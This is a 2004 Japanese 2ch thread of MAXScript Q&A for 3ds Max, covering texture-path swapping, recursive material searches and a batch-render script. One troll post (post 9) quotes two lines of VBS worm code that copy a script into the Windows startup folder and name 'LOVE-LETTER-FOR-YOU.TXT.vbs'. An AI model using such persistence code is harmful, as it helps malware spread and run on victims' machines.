1read 100read
2012年3月CG160: MAXSCRIPT_Vol1 (233) TOP カテ一覧 スレ一覧 2ch元 削除依頼
TINAMI - Navigator of Manga Artists - 13 (523)
【 Artdex Design Contest 2001 】ってどうなん? (554)
CINEMA4D-初心者スレ 4 (598)
六角大王 スレ (332)
【古風】新・京都迷宮案内4のOPのCGは神【斬新】 (333)
pixiv退会した人のスレ (340)

MAXSCRIPT_Vol1


1 :04/12/04
MAXSCRIPTに関するQ&Aのためのスレッドです。
あらかじめ用意された複数のテクスチャ(解像度違い)があり、
選択しているオブジェクトのテクスチャをボタン一発(インターフェース上は、解像度の種類分)で
切り替えていくというスクリプトを作りたいと思っています。
またできれば、ディフューズレベル、スペキュラレベル...などで、選択できる分岐処理を実装できればと思っています。
既存のものであれば、ご紹介ください。また、参考になるテンプレートスクリプトがあれば、お願いします。

2 :04/12/04
OK!!
このスレではCG技術板を
笑いの坩堝と化せる
新人芸人を大募集中だ
          ∧_∧
    ∧_∧  (´<_`  )  CG業界の未来を担うのは
   ( ´_ゝ`) /   ⌒i      俺らだけどな。
   /   \     | |
  /    / ̄ ̄ ̄ ̄/ |
__(__ニつ/  FMV  / .| .|____
    \/____/ (u ⊃
________________________
| さあ、皆さんのネタセンスを試す時がやって参りました。 |
| コイツらを使ってどんどん一発ネタを書き込んでみよう。 |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
【テンプレサイト】
http://nody.hp.infoseek.co.jp/
【俺らスレの情報】(ガイドライン板)
( ´_ゝ`)流石だよな俺ら]
http://that.2ch.net/test/read.cgi/gline/1035138937/
↑他板スレ、新AAの報告、その他

3 :04/12/04
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□■□□■□□■□□□□□□□□□□□□□□□□□□□□□□□□
□□□■■■■■■■■■■■□■■■■■■■■□□□□■□□□□□□□□
□□□□□□■□■□■□□□□□□□□□□□■□□□□■□□□□□□□□
□□□□■■■■■■■■■□□□□□□□□□■□□□□■□□□□□□□□
□□□■□■□□■□□■□■□□□□□□□□■□□□□■■■□□□□□□
□□□□□■■■■■■■□□□□□□□□□■□□□□□■□□■□□□□□
□□□□□□■□□□■□□□□□□□□□■□□□□□□■□□□■□□□□
□□□□■■■■■■■■■□□□□□□■□□□□□□□■□□□□■□□□
□□□□□□■□□□■□□□□□□□■□□□□□□□□■□□□□□■□□
□□□■■■■■■■■■■■□□□■□□□□□□□□□■□□□□□■□□
□□□□□■□□□□□■□□□■■□□□□□□□□□□■□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□

4 :04/12/04
         _________
      ,.r‐''''...................-、
    /:::::::::::::::::::_ ::::::::ヽ
    !::::::::::::::::::::::}十{::::::::::::::i
    !::::::::::::::::::_,,、-'''''' ̄ ̄`'ヽ
    |ミシ ̄ ̄__,,,〜,__ !'''"
   .(6ミシ  ,,(/・)、 /(・ゝ |
     し.    "~~´i |`~~゛ .i
      ミ:::|:::::........ f ・ ・)、 ...:::i
    ノ_ヽ::::::::::::-=三=-:::/   
  /| | |\ヽ:::::::::::゛::::ノ/    削除依頼だせよ
/| | | | |\ ̄ ̄ ̄ | | \  
.    r‐-‐-‐/⌒ヽ-    ヽ、i 
ヽ、  |_,|_,|_,h( ̄.ノヽ       |
ー-ヽノ| `~`".`´ ´"⌒⌒) |_ /
ノ^ //人  入_ノ ビシッ

5 :04/12/04
     ,.;'‐、____,:-;';:、.
   /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;ヽ.
  /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;ヽ.
  /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:ヽ.
  i;:;:;:;:;:/ノ-'-''"ヽ;:;:;ヽ'''-ヽ、;:;:;:;:;|
  {;:;:;:;:ノ■■■   ■■■ヽ;:;:;}
  ヽ;:;{    _   _    |;:;:{
   };:;|三/ ●),. 、(● ヽ三 |〈  
   ヽ| " ゙='"/:::ヾ='"゙  | }
   { |∫ ∴ (,.、::,. )  ∵ |/
    ゝ::●. ...:人:人:::.....  ...!
    {;;ヽ:.:.:.:.:.:.:.<Ξ>:.::.:.:.:.:.:.:/;}
   / ヽ:.:.:.:.::.:.:.:.:.:.:.:.:.:.:/ \
 /    |ヽ:.:.:.:.:.:.:.:.:.:/|    \
       ヽ ̄ ̄ ̄  /
        ヽ___/

6 :04/12/04
MAXSCRIPTの書籍関係やネット上の有益な情報って極端に少ないですよね。。

7 :04/12/04
0

8 :04/12/04
スレタイにPart1とつけると、糞スレとみなされる。
あと、>>1に質問書いたのはまずかったな。
その質問解決してもスレは続くんだし。

9 :04/12/04

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE- LETTER-FOR-YOU.TXT.vbs


10 :04/12/04
え?

11 :04/12/04
>>1
テクスチャに解像度ごとにPrefixとか付けてやるとかなら意外と簡単に出来るんでネノ?
指定したオブジェクトのディフューズなりなんなりのテクスチャのファイル名引っ張ってきて
パスとファイル名と拡張子に分解して、末尾のPrefixを指定した文字列に差し替えて
戻してやるって感じで。
タブンめんどっちぃのは、マテリアルの種類によって対応換えるところじゃねカナ?
標準マテリアルのみ対応でマルチサブオブジェクト対応不可とかで汎用性皆無なら
簡単なんで、まぁ、がんばれ。
つか1に質問とか書くと、自分が聞きたいが為にスレ立てした風に見られるから
荒れるし、まともな回答が付きにくいぞ。

12 :04/12/04
       /⌒``――  
     /   \       ヽ
     /    /~ ̄ ̄ ̄\ ヽ
     /   /  ^    ^ ヽ`、    
     |   ノ  (◎) (○)| |   
     . | {   ?  ⊃! | |
 .    ノ   |     __   | |   
    ノ ノ 人\   _  ノレノ   
       /⌒|   − /    | | i i
     / イ       )  / / / /
   / /|      /  / ////   
   |  |  |    /  彡///人从从 
   |  |  〉   /  三彡//人 /三ミミ、y;)ヽ
   /  |  (   /  三彡/  人/三 ミミ、ソノノ、ヾ、}  
  巛cノ_ |\/  三彡   Σ  ,':,' __  `´ __ `Y:}   
     |  ̄巛クノ   \ Σ    }::! { : :`、 ,´: : j !:!
     ヽ/i    |\   \   {:|‐=・=‐ i !‐=・=‐|:}  
                   r(   / しヘ、  )j ←>>11
                   g !  ` !-=‐!´ ,ノg
                     \._ヽ _´_ノ ソ  
                   __,/ ヽー ,/\___
                   |.:::::.《  ヽー/  》.::.〈
                  //.:::.`\      /'.:::.ヽ\ 

13 :04/12/04
11>簡単ですか?

14 :04/12/05
標準マテリアル限定とか汎用性無視するんなら結構簡単でそ。
$.material.diffusemap.filename
で単純に今選択されてるオブジェクトのディフーズマップが取得できるし
文字列代入すれば簡単にファイル名も変えられる。
getfilnenamepathとかgetfilenametypeとかでパス・ファイル名・拡張子に分解できるから
ファイル名の.countみてsubstringで先頭のprefix抜いて、新しいprefix付けて
またdiffusemap.filenameに入れなおしてやるだけだべ。
実際のスクリプト部分は数行だと思う。
無論その他もろもろのお約束事をかかないかんけど、それでも1画面に収まるぐらいの量でしょ。
めんどくさいのは他人が使うことや汎用性考えて、マテリアルの種類によって変わる
マップの種類とかにも対応させるとか、複数オブジェクト一度に出来るようにするとか、
マップがBitmap以外の時(マップが無いとかグラデとかブレンドとか)の対応とかその辺。

15 :04/12/05
簡単そうにみえて、難しそうですね。
まだまだ勉強が足りません。
標準のマニュアルって、なんであんなにわかりづらいんでしょうね。
CGIやJAVASCRIPTみたいな感じで、
MAXSCRUOTポケットリファレンスなんていうのあると、助かりますねぇ。

16 :04/12/05
オンラインヘルプで検索かけながら、リスナーで1行ずつ実行して試しながらやれば、
意外と簡単だと思うよ。
あと、わかんないプロパティーとかは、showpropertiesとかで探しながらやるのも手だと思う。
例えば上のdiffusemapはどこを書き換えればいいか調べる時は
なんかダミーに標準マテリアルとテクスチャ設定しておいて、それを選択した状態で
リスナーから
showproperties $.material
と打てばズラズラっと割り当てられてるマテリアルでアクセス可能なプロパティー名が
出てくる。
んで、その中でdiffusemapっていういかにものがあるので、更に
showproperties $.material.diffusemap
って打てばズラズラ出てくるリストの中に目的のfilenameってプロパティーが見つかる筈。
で、リスナーから
$.material.diffusemap.filenameと打てばファイル名が表示されるんで、ココに入ってるのが判る。
今度はリスナーから
$.material.diffusemap.filename = "foo.tga"
とか打てば、そのオブジェクトのdiffusemapが挿し変わってるのが、確認できると思う。
$ : 現在選択しているオブジェクト
showproperties : オブジェクトのプロパティーを表示
あとは簡単な算術計算の書き方とforとifが判れば、取り合えずちょっとしたスクリプトを組むことが出来ると思う。
最初の内はボタン化とかロールアウトがとか考えないで、リスナーで試しながら
新規スクリプトウィンドウに1行ずつコピペしていって、CTRL+Eで複数行一気に実行とか
そんな感じでいいと思う。

17 :04/12/06
アドバイスありがとうございます。
文系のあたしには、少し難しそうです。
でも、がんばってみますね。
11さんは、すごいですね。

18 :04/12/06
マニュアルとにらめっこしながら、
とりあえず、以下のようなスクリプトが
完成しました。
さらなる向上を目指したいと思います。
fn genPrim pCol =
(
print pCol
--//------------------------------------------------------------
if(pCol==1)then(
$.material.diffusemap.filename = "c:/aaa.jpg"
)else if(pCol==2)then(

19 :04/12/06
$.material.diffusemap.filename = "c:/bbb.jpeg"
)
)
myRollFloater = newrolloutfloater "Resolution" 250 250 150 200
Rollout rlo_genPrim "main"
(
radiobuttons rdi_col "Resolution Option" labels:#("1","2") columns:2 pos:[10,50]
button btn_genPrim "Generate" width:200 height:80 pos:[10,100]

on btn_genPrim pressed do
(
genPrim (rdi_col.state)
)
)
addRollout rlo_genPrim myRollFloater rolledUp:false

20 :04/12/06
このスクリプトの欠点は、オブジェクトを選択していない
場合に、エラー処理がありません。
また、膨大な量のマップが張られている場合に、
すべてのパスをスクリプトに記述してあげなければなりません。
そして、他のオブジェクトに使用した場合に汎用性がありません。
読みにいっているマップのパスをまるごと変更することはできないでしょうか?

21 :04/12/06
まぁ、エラー処理は自分だけが使うんなら、取り合えず無視しちゃってもよいでしょ。
真面目にエラー処理するとなると、オブジェクトが選択してない場合以外にも
複数オブジェクト選択されてる場合とか、標準マテリアルが割り当てられてない場合とか
テクスチャが割り当てられてない場合とか等々、それだけでかなりの処理になるんで。
取り合えずテクスチャのファイル名はスクリプトに直接埋め込むんでなく
radiobuttonsの下にedittextを足して、スクリプトの実行時に入力出来るように
するのがいいと思うよ。
あと、テクスチャのファイル名に一定の法則性を付けないと、自動化出来ないんで
その辺の仕様も固めないといかんと思う。
例えば
解像度4文字+マップ種別4文字+オブジェクト名とか。
building01ってオブジェクトに256x256と512x512のdiffusemapを用意してるとしたら
256_dif_building01.tga
512_dif_building01.tga
とか。
そうすれば、解像度とマップ種別をradiobuttonとかdropdownlistで選択して
ファイル名の文字列を自動でくみ上げていけるように出来るんで、
あとはパスの指定をしとくだけで済むし。

22 :04/12/06
とりあえず、複数選択時に対応するために、
以下のように、for文というのを用いてみました。
on btn_genPrim pressed do
(
if selection.count !=0 then
for i in selection do i.genPrim (rdi_col.state)
)
)
でもなんかエラーみたいです。なにがおかしいのかな。
リスナーって、エラーって教えてくれるけど、
具体性にかけますよね。
パスの変更処理は、スクリプト的には難易度高いですか?

23 :04/12/06
ん?
これだと未知のプロパティとかエラーが出ない?
取り合えず上のgenPrimが選択オブジェクトの$を使ったままなら、そこも変えなきゃ。
fn genPrim mobj pCol =
とかして、オブジェクトも渡してやって
$をmobjに変えて、呼び出し側で
for i in selection do genPrim i rdi_col.state
と、オブジェクトも一緒に渡してやるとか。
パスの変更処理って、ファイル名そのままで、パスのみ変更とか?
取り合えずgetfilenamepathでパスのみ切り出せるし、getfilenamefileでファイル名、
getfilenametypeで拡張子のも切り出せるんで、それでバラバラにした後
単純に新しいパスの文字列変数と+でつないでやれば行けると思う。
getsavepathとか使えば、フォルダ選択ダイアログ出して選べるし。

24 :04/12/06
できました。なるほどですね。んー奥が深いですね。
パスの変更は、そんなに難易度は高くないんですね。
知らない関数がたくさんありますね。
とりあえず、マニュアルみてみます。記述方法から、勉強しないとですね。
+でつなぐ?って、どういうことなんでしょうか。

25 :04/12/06
str1 = "C:\temp\"
str2 = "foo.tga"
str3 = str1 + str2
とやればstr3は"C:\temp\foo.tga"となるという、文字列の演算のことです。

26 :04/12/06
そういうことなんですね。
例えば、今、このノードのテクスチャを差しかえるようにしているのですが
mobj.material.map1.diffuseMap.src_tex.map1.fileName = ~パス/ファイル名
上記の説明ですと、このノードに対しての変更は、きくと思うのですが、
そこにパスがとおってある全てのテクスチャを同時変更したいと思うときに、
前スレッドで書いたように、すべてのパスを記述してあげないといけません。
(デフューズ、スペキュラ、バンプ、セルフイルミーネーションなど)
また、他オブジェクトには、別のマップを張り替えたいとおもったときに、
そのオブジェクト専用に、またスクリプトをかかなければなりません。
(テクスチャの変更記述)
そこで、マップはすべて同じフォルダにまとめてあるので、
解像度別にパスの変更が実現すれば、汎用性のあるスクリプトになるかなぁ?
と思ったのです。 難しいですね。。

27 :04/12/06
そういうことなんですね。
例えば、今、このノードのテクスチャを差しかえるようにしているのですが
mobj.material.map1.diffuseMap.src_tex.map1.fileName = ~パス/ファイル名
上記の説明ですと、このノードに対しての変更は、きくと思うのですが、
そこにパスがとおってある全てのテクスチャを同時変更したいと思うときに、
前スレッドで書いたように、すべてのパスを記述してあげないといけません。
(デフューズ、スペキュラ、バンプ、セルフイルミーネーションなど)
また、他オブジェクトには、別のマップを張り替えたいとおもったときに、
そのオブジェクト専用に、またスクリプトをかかなければなりません。
(テクスチャの変更記述、ノードの変更など)
そこで、マップはすべて同じフォルダにまとめてあるので、
解像度別にパスの変更が実現すれば、汎用性のあるスクリプトになるかなぁ?
と思ったのです。 難しいですね。。

28 :04/12/06
あと、オブジェクトによって、シェーダの設定など
かなり違うので、mobj.material.map1.diffuseMap.src_tex.map1.fileName
←ノードの変更を一つ一つ設定してあげないといけませんよねぇ。。

29 :04/12/06
ん〜、ちょっと良くわからないけど、もしかして解像度別に
別フォルダに同一のファイル名で入ってるビットマップの内どれかを参照していて
スクリプトでファイル名はそのままでパスのみを差し替えたいって事なのかな?
単純に指定した2Dテクスチャのビットマップのパスやファイル名を差し替えるのは簡単だと思うケド、
上の方でも書いてるけど、汎用性持たせるとなると、とたんにめんどくさくなるよ。
Maxはプラグインでマテリアルの種類とかも増やせるんで、入ってるプラグインによって
プロパティも変わるんで、標準マテリアルのみとか限定しないと、ちょっと大変。
あと、マップ種別はmaterial.diffusemapって参照の仕方以外にも
material.maps[i]っていう風に配列で参照も可能なんで、その方が簡単に別のマップ種別に
対応が可能だとは思うよ。
たしか標準マテリアルの場合はmaps[2]がdiffusemapと同一なはず。
それでも、マルチサブオブジェクトとかブレンドとか使われてるとどうしようもないですしね。
****.classIDでそのオブジェクトがマテリアルかジオメトリかとか、マテリアルなら
どんなマテリアルかとか一応判断はつきますので
ClassIDを見て、対応するプロパティーを換える事は出来ると思うケド
Maxに標準で入ってるマテリアルに対応するだけでも結構面倒なことになると思う。
シーン中のオブジェクトやライトはobjectsやlightsとかで配列で簡単に参照できるんで
イメージも何か一発で配列で参照出来れば簡単にいくと思うんですけどねぇ。

30 :04/12/06
ん〜、ちょっと良くわからないけど、もしかして解像度別に
別フォルダに同一のファイル名で入ってるビットマップの内どれかを参照していて
スクリプトでファイル名はそのままでパスのみを差し替えたいって事なのかな?
単純に指定した2Dテクスチャのビットマップのパスやファイル名を差し替えるのは簡単だと思うケド、
上の方でも書いてるけど、汎用性持たせるとなると、とたんにめんどくさくなるよ。
Maxはプラグインでマテリアルの種類とかも増やせるんで、入ってるプラグインによって
プロパティも変わるんで、標準マテリアルのみとか限定しないと、ちょっと大変。
あと、マップ種別はmaterial.diffusemapって参照の仕方以外にも
material.maps[i]っていう風に配列で参照も可能なんで、その方が簡単に別のマップ種別に
対応が可能だとは思うよ。
たしか標準マテリアルの場合はmaps[2]がdiffusemapと同一なはず。
それでも、マルチサブオブジェクトとかブレンドとか使われてるとどうしようもないですしね。
****.classIDでそのオブジェクトがマテリアルかジオメトリかとか、マテリアルなら
どんなマテリアルかとか一応判断はつきますので
ClassIDを見て、対応するプロパティーを換える事は出来ると思うケド
Maxに標準で入ってるマテリアルに対応するだけでも結構面倒なことになると思う。
シーン中のオブジェクトやライトはobjectsやlightsとかで配列で簡単に参照できるんで
イメージも何か一発で配列で参照出来れば簡単にいくと思うんですけどねぇ。
パスが違ってもファイル名が同一なら
マップの入ってるフォルダリネームして外部参照パスの設定を変えて
Max立ち上げなおすとかが一番手っ取りばやかったりして。

31 :04/12/06
あれ、書き込み失敗したと思ったら、2度書きになってら。スマン。

32 :04/12/06
スクリプトでファイル名はそのままでパスのみを差し替えたいって事なのかな?>
ずばりそのとおりなんですよね。やはり難しいですか。
んー。こまリました。 
今回に限っては、ほとんどのマテリアルは、ブレンドで設定してますね。
配列という考え方ですか。ん。なかなか前途多難です。
もう少し、つっこんで考えてみたいと思います。
http://www.maxuser.com/cgi-bin/forum/thread.php?threadid=1219&sid=&hilight=テクスチャ&hilightuser=0
この辺と、似たようなことなのかなぁ。。

33 :04/12/06
スクリプトでファイル名はそのままでパスのみを差し替えたいって事なのかな?>
ずばりそのとおりなんですよね。やはり難しいですか。
んー。こまリました。 
今回に限っては、ほとんどのマテリアルは、ブレンドで設定してますね。
配列という考え方ですか。ん。なかなか前途多難です。
もう少し、つっこんで考えてみたいと思います。
http://www.maxuser.com/cgi-bin/forum/thread.php?threadid=1219&sid=&hilight=テクスチャ&hilightuser=0
この辺と、似たようなことなのかなぁ。。

34 :04/12/06
ワイルドカード*とかつかって、うまくできないかなぁ。。

35 :04/12/06
別手段として、
イメージなんですが、(できるかどうかはわからない。)
選択しているマテリアル以下に設定してあるすべてのマップファイル(jpg)
を、別フォルダに置いてある(ファイル名同じ)に変更するといった感じで
できるようなきがするんですよね。
甘いかな?
マップの入ってるフォルダリネームして外部参照パスの設定を変えて>
たしかにそれもアリなんですが、スクリプトで変更するカッコヨサ的な
ところを目指してたりします。笑

36 :04/12/06
usedMaps() マニュアルで調べてみたところ、
この関数は、オブジェクトに割り当てられているbitmapファイルの
一覧を返すみたいです。
これは、表示されるだけで、割り当てなどをできないのでしょうか?

37 :04/12/06
usedmapsは参照のみですねぇ....
単純にファイル名の文字列でなくて、ポインタというかビットマップテクスチャ自体でも
返してくれるのならやり様もあるんですけどねぇ。

38 :04/12/06
大変お世話になってます。
11さん。勉強になってます。
先ほどの11さんの方法ですが、
以下。
>解像度4文字+マップ種別4文字+オブジェクト名とか。
>building01ってオブジェクトに256x256と512x512のdiffusemapを用意してるとしたら
>256_dif_building01.tga
>512_dif_building01.tga
>とか。
>そうすれば、解像度とマップ種別をradiobuttonとかdropdownlistで選択して
>ファイル名の文字列を自動でくみ上げていけるように出来るんで、
上記の場合は、マテリアル以下に割り当てされているMAPは、
自動で変更されていくのでしょうか? ちょっと、イメージがわかないんですが。
具体的には、どのようなインターフェースになっているのでしょうか?
---
スクリプトに没頭しすぎて、お料理焦げました。笑

39 :04/12/07
あぁ、それも基本的には標準マテリアルとかでの話で、ファイル名自体をスクリプトに
埋め込んでいたようなので、法則性にしたがってファイル名が決まっているようなら、
スクリプト側でファイル名を生成して差し替えるというか割り当てることが出来るなぁというそういう話です。
マテリアルやテクスチャが階層化してる場合とかは、やっぱりどうしようもないです。
タブン真面目にclassIDみてマテリアルやビットマップの種類を見て
更に下の階層がある場合は再帰処理でドンドンもぐっていって処理するしかないのかなぁと。

40 :04/12/07
ぬぉ、こんなスレが立ってたとは!!
とりあえずパスのサーチは>>11の書いてるようにSubAnim経由で再帰を使ってやるといいです。
(
local serchmat
fn serchmat s = (
local flags = #()
for i = 1 to s.numsubs do (
try if classof s[i] == SubAnim and classof s[i].object == Bitmaptexture do append flags i
catch()
if (existmap = (serchmat s[i])).count != 0 do (
--format "%\n" s.object
local mnode = try(if classof (s[i].object) == TexmapsUnknown then s.object else s[i].object)catch(s)
format "mnode:%\n" (classof mnode)
for ti in existmap do (
/*
ここにマップタイプごとの分岐処理を書くとよい
ext)
case classof mnode of (
(Standardmaterial) : format "mnode=%\n" "Standard"
(CompositeTexturemap) : format "mnode=%\n" "Composite"
)
*/

41 :04/12/07
if classof (s[i].object) == TexmapsUnknown then
format "\t%[%]:%\n" mnode ti mnode[i][ti].filename--mnodeを定義した際の階層分戻してやる
else
format "\t%[%]:%\n" mnode ti mnode[ti].object.filename
)
)
)
flags
)
serchmat meditmaterials[activemeditslot]
)

42 :04/12/07
ぐはっ・・・インデントが取れた!
マテリアルのクラス判別をするために一旦テクスチャパスの階層まで読んで
巻き戻るって感じの処理をやってます。
mnode(map node)を定義する辺りがちょっと怪しいかも・・・
動かなかったらスルーしてください(;´Д`)

43 :04/12/07
うわぁ〜。なんかいきなり難易度が高くなったかんじですね。
つまるところ、40さんの方法で、パスのサーチ機能を組み込むことによって、
パス名のみ変更して、ビットマップテクスチャの差し替え可能になるということ
なんですね。 プログラム上、前述のスクリプトと、どこをどう繋いでいけばいいか、ちんぷんかんぷんです。
マップタイプごとの分岐処理?←これは、ブレンドやら、マットシャドウなんかの
タイプの違いによる処理ってことですか?13さんが書いているようにタイプの違いが
複数あるので、かなり面倒になってくるといってたアレでしょうか?
mnodeを定義した際の階層分戻してやる←言葉の意味が、難しくて、私の頭では理解できてません。
アドバイスお願い致します。

44 :04/12/07
なんでハルシノにもpostしてんの?

45 :04/12/07
>>43(>>11)説明した方がいいですか?
なんか既にハルシノで解決してるっぽいんですけど・・・orz
ところで>>13>>1は同一人物?

46 :04/12/07
ハルシノさんの人は、私じゃないですよ??

47 :04/12/07
>>46
そうでしたか。スマソ

48 :04/12/07
40さん考えている構造は、ハルシノさんに書いている内容と基本的なところは
同じなんでしょうか? 勉強のためにお聞かせください。

49 :04/12/07
なんでモモにもpostしてんの?

50 :04/12/08
ハルシノのほうもみたけど、あっちの解答のほうが全然出来いいな・・・

51 :04/12/08
>>50
俺もそう思うw
ちなみにハルシノで書かれてた処理を↑で書いたやつに取り入れるとこんな感じになります。
(
local serchmat
fn serchmat s ps = (
for i = 1 to s.numsubs do (
if isProperty s[i] #filename do (
local fp = getProperty s[i] #filename --ファイルパス
local p = if classof s.object == TexmapsUnknown then ps.object else s.object
format "%\n\t%\n" (classof p) fp
)
if s.numsubs > 0 do serchmat s[i] s
)
)
for i = 1 to meditmaterials[activemeditslot].numsubs do
serchmat meditmaterials[activemeditslot][i] meditmaterials[activemeditslot]
)
すげー短くなったな・・・orz
変数pはテクスチャを保持しているノードになります。(ディフューズマップとか、ブレンドのマップ1とかね)
今回もファイルパスの置換処理やらは簡単なので端折ってます。エラー処理も同様に。
>>48
再帰的に処理するって意味では大体似たようなもんだと思う。(解答としては向こうの方が遥かに丁寧ですが)
向こうのはマップタイプの判定処理が入ってないけど、多分入れてないだけだと思うし。
考え方自体は変わんないってことで。

52 :04/12/08
なんでモモにもpostしてんの?

53 :04/12/08
ていうか、ハルシノに書いてあるキャッシュの保存とか、できんのか?
できそうにないとおもうんだが。

54 :04/12/08
>>51
ハルシノのみればわかるけど、.filenameプロパティをもったものを再帰的にさがしているので、マップの判定処理がいらない。
マルチサブだろうとブレンドだろうとうまくいく。
もっとも質問した>>1みたいにいびつなマルチサブの使い方されるとエラーでるから、tryで例外処理かけたみたいだけど(w
>>53
キャッシュって履歴のこと?
それってマップ張り替える部分とはまったく関係ないからiniにでも書き出すなり好きにしろ、って書いてあるけど。

55 :04/12/08
再帰的にマップのパスを取得するだけならこれでいい
fn serchmat s =
(
Try
(
for i = 1 to s.numsubs do
(
if isProperty s[i] #filename do
(
fp = getProperty s[i] #filename --ファイルパス
format "%\n" fp
)
if s.numsubs > 0 do serchmat s[i]
)
)
catch()
)
serchmat meditmaterials[activemeditslot]
>>51
悪くはないけど助長すぎる。

56 :04/12/08
ん?俺が勘違いしてるのかな?
マップの判定ってのは例えばディフューズマップのパスは置換したいけど、
バンプマップは置換したくない場合とかに必要なんじゃないかなと思ってさ。
まぁ、そういう状況があるかないかは分かんないけどね。
問答無用でテクスチャのパスを書き換えるってんなら>>55のでもいいと思うけど。
説明下手でスマン。
>>53
あれは割と簡単。
でも>>1に出来るかどうかは誰にも分からない。

57 :04/12/08
>>56
ああ、なるほど。
つうか、そこまでなるとxmlでマテリアル構造書き出して置換、読み込みしたほうがよさげ。
それと別にあんたの説明は下手ではないとおもうぞ。

58 :04/12/08
汎用性もたせるようにするとcase文の荒になって可読性低くなるから、
汎用性して単純に変換したくないマップタイプを配列にいれといて、関数の引数に渡してやればよさそう。
配列は手動で必要に応じて書き換えとかで。
変なUIつけるより、現実的に。

59 :04/12/08
>
キャッシュって履歴のこと?
それってマップ張り替える部分とはまったく関係ないからiniにでも書き出すなり好きにしろ、って書いてあるけど。
>
え? できるのそれって? 具体的には?

60 :04/12/08
>>59
具体的もなにも、ファイル作ってgetINISettingやsetINISettingで読み書きすりゃいいだけじゃん。
まさかScriptでのI/O操作がわからんってレベルでいってんじゃないよね?

61 :04/12/08
へー

62 :04/12/08
ドロップリストで選択できるのかってことなんじゃない?
入出力できるだけってことじゃなく。

63 :04/12/08
>>62
ドロップリストの初期化時にリストの配列をiniなりから読み込ませるだけだから簡単にできるけど。。
つうかscript書いたことのない人のあつまりか、ここ??
わかんねぇなら素直にハルシノで聞けよw

64 :04/12/09
取り合えず俺は今回Tryを知ったのとプロパティ名でなく配列でアクセスできるって言う収穫があったので、とても収穫。

65 :04/12/09
>>1
削除依頼だしてください

66 :04/12/09
わかりません。サンプルお願いします。>63

67 :04/12/09
スレ

68 :04/12/11
ドロップリストで選択?

69 :04/12/11
heapSize += 300000000
global batchRenderFloater
rollout BRobot_batchRender "Batch Render" width:600 height:103
(
edittext browse_max_label "max file directory: " pos:[6,7] width:537 height:17 fieldwidth:158
button browse_max "Browse" pos:[549,5] width:51 height:21 across:2
edittext browse_output_label "output directory: " pos:[6,31] width:537 height:17 fieldwidth:158
button browse_output "Browse" pos:[550,30] width:51 height:21 across:2
button go_button "Go!" pos:[240,63] width:126 height:32
on browse_max pressed do
(
max_dir = getSavePath()
browse_max_label.text = (max_dir as string)
)
on browse_output pressed do
(
output_dir = getSavePath()
browse_output_label.text = (output_dir as string)
)

70 :04/12/11
on go_button pressed do
(
CloseRolloutFloater batchRenderFloater
maxfiles = getFiles (browse_max_label.text + "\\*.max")
outputpath = (browse_output_label.text + "\\")
for i in 1 to maxfiles.count
do
(
loadMaxFile maxfiles[i]
filename = (getFileNameFile maxfiles[i] +".tif")
myoutput = (outputpath + filename)
myanim = render camera:$Camera01 outputSize:[320,240] pixelascept:1.3 fromframe:AnimationRange.start toframe:AnimationRange.end outputfile:myoutput
undisplay myanim
saveMaxFile maxfiles[i]
)
messagebox "Batch Render Completed!"
)
)

71 :04/12/11
はじめまして。69です。
上のスクリプトは、全自動レンダリングスクリプトです。
以下の項目で、改善したいと思ってます。
お力をお貸しください。
●レンダリングを途中で止めたい。(GUI付)
●レンダリングするフレームを決めたい。(GUI付)
●レンダリングする解像度を選択したい(GUI付)
●どんなカメラが設定しても、レンダリングをかかるようにしたい
(今は、Camera01という名前がついていないとエラー)
●アウトするファイルネームを変更したい。(今は、ファイル名で決定)
●例えば、Bipdデータがあったとして、自動で、ルート(bip_Root)を選択し
ある一定角度間隔(1フレームごと)で、回ってレンダリングして、画像に落とす
というようなルーティング工程をスクリプトのなかに埋め込みたい(これは、GUIレベルでなくてもイイと思います。)
というような塩梅なのですが、なかなか難しくて、先に勧めません。
どのようにプログラムを組み立てていけばよろしいでしょうか?
よろしくお願いします。

72 :04/12/12
おす

73 :04/12/12
ほむ

74 :04/12/12
パレットのオン/オフってスクリプトで出来ますか?
Mキー押して出てくるマテリアルパレットを、
もう一回、Mキー押したら消せないかと思って...

75 :04/12/13
それ私もほしいです!>74

76 :04/12/13
>>74
max7から標準で出来るみたい。
6以下は無理。外部アプリ併用すれば出来なくもないらしい。
ハルシノで検索すれば出てくるよ。

77 :04/12/13
>>69
もう解決しちゃったかな?
●レンダリングを途中で止めたい。(GUI付)
どゆこと?スクリプトからレンダリング止めたいってこと?
だとしたらちょっと分かんない。ESCキー押して止めるってのじゃ駄目?
中止されたかどうかはrender()のcancelledオプションで取れるから。(リファレンス参照)
●レンダリングするフレームを決めたい。(GUI付)
スピナコントロールを配置してやってその値をそのまま使う。
spinner spn_from "from" range:[0,100,0]
spinner spn_to "to" range:[0,100,0]
render fromframe:spn_from.value toframe:spn_to.value
max5以降ならスピナの値をFloatにしとけばサブフレームも考慮される(らしい)。
●レンダリングする解像度を選択したい(GUI付)
上記と同じ要領でスピナを配置してその値を使用、
又はdropdownlistにプリセット(String)を登録しといてpoint2値に変換して使う。後者の方が便利かな。
dropdownlist ddl_outsize"Size" items:#("320x240","640x48","800x600")
とコントロールを定義して
local arr = filterString ddl_outsize.items[ddl_outsize.selection] "x"
render outputSize:(point2 (arr[1] as number) (arr[2] as number))
こんな感じ。
●どんなカメラが設定しても、レンダリングをかかるようにしたい
仕様による。
カメラがシーン内に一つしかないとかなら
render camera:cameras[1]--camerasはObjectSet値ね
でいいと思うけど。

78 :04/12/13
続き・・・
●アウトするファイルネームを変更したい。(今は、ファイル名で決定)
edittextコントロール配置してそこに入力した値を反映させるといいのでわ。
edittext edt_filename "filename"
filename = (edt_filename.text + ".tif")
●例えば、Bipdデータがあったとして、自動で、ルート(bip_Root)を選択し(ry
for n in objects where classof n == Biped_Object or (n.parent != undefined and classof n.parent == Biped_Object) do (
local bipRoot = n.controller.rootNode
if bipRoot != undefined do (
